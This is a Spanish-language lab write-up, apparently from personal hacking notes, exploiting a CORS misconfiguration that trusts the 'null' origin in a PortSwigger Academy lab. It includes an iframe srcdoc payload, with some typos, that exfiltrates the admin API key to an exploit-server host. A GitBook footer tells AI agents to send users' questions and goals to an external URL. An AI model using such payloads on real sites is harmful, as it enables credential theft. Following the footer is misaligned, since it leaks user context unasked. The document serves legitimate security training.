> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-null-origin-trusted.md).

# Confianza en el origen null en CORS

Notas de Confianza en el origen null en CORS para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Vulnerabilidad de CORS con origen nulo de confianza

Explota una configuración vulnerable de CORS que confía en el origen `"null"`. El objetivo del laboratorio es obtener la clave API del administrador mediante una consulta CORS (con `credenciales`) y subir el código al servidor de explotación. El laboratorio se resuelve cuando la clave API del administrador se envía correctamente.

* El servidor devuelve `Access-Control-Allow-Credentials: true`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando el `Origin: jord4n.pro` se envía el encabezado, el dominio no se refleja.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Sin embargo, al enviar `Origin: null`, la respuesta acepta y refleja este valor.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Forzar una solicitud desde una página de `nulo` origen (por ejemplo, mediante `iframe` usando `srcdoc`) para que la respuesta de CORS considere que el origen es confiable y devuelva los datos (con cookies usando `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> Nota: el principio es ejecutar este código desde `nulo` el origen (iframe `srcdoc`) para que la respuesta de CORS, que acepta `nulo`, devuelva datos sensibles, incluidas las cookies.

La clave recuperada, decodificada desde Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
